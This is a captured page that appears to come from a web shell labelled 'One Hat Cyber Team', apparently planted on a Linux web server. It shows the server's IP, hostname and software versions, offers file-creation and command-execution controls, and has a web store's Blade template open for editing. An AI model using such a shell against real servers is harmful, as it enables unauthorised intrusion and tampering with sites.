⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.162
Server IP:
147.93.29.146
Server:
Linux server.tagooz.co 5.14.0-503.15.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Nov 28 07:25:19 EST 2024 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
webstoremaker
/
www
/
resources
/
views
/
user
/
item
/
Edit File: variation.blade.php
@extends('user.layout') @if (!empty($input->language) && $input->language->rtl == 1) @section('styles') @endsection @endif @section('content')
{{ __('Item Variation ') }}
{{ __('Items') }}
{{ strlen($item->title) > 20 ? mb_substr($item->title, 0, 20, 'UTF-8') . '...' : $item->title }}
{{ __('Variations') }}
{{-- @dump($variations) --}}
{{ $item->title }}
{{ __('Back') }}
×
@csrf
Variations
+ Add Varient
{{-- @dump($variations) --}} @foreach ($variations as $key => $lwVariaion)
@for ($i = 0; $i < count($languages); $i++)
Variation Name (In {{ $languages[$i]->code }})
@endfor
X
Add Option
@php $op = json_decode($lwVariaion[0]['option_name']); $op_price = json_decode($lwVariaion[0]['option_price']); $op_stock = json_decode($lwVariaion[0]['option_stock']); @endphp @if ($op) @foreach ($op as $opIn => $w)
@php $opArr = []; for ($i = 0; $i < count($languages); $i++) { $opArr[$i] = json_decode($lwVariaion[$i]['option_name'] ?? ''); } @endphp @for ($i = 0; $i < count($languages); $i++)
Option Name (In {{ $languages[$i]->code }})
@endfor
Price ({{ $userBs->base_currency_symbol }})
this price will be added with main item price
Stock
X
@endforeach @endif {{-- @endforeach --}} {{-- @endfor --}}
@endforeach
{{ __('SUBMIT') }}
@endsection @section('scripts') @endsection
Simpan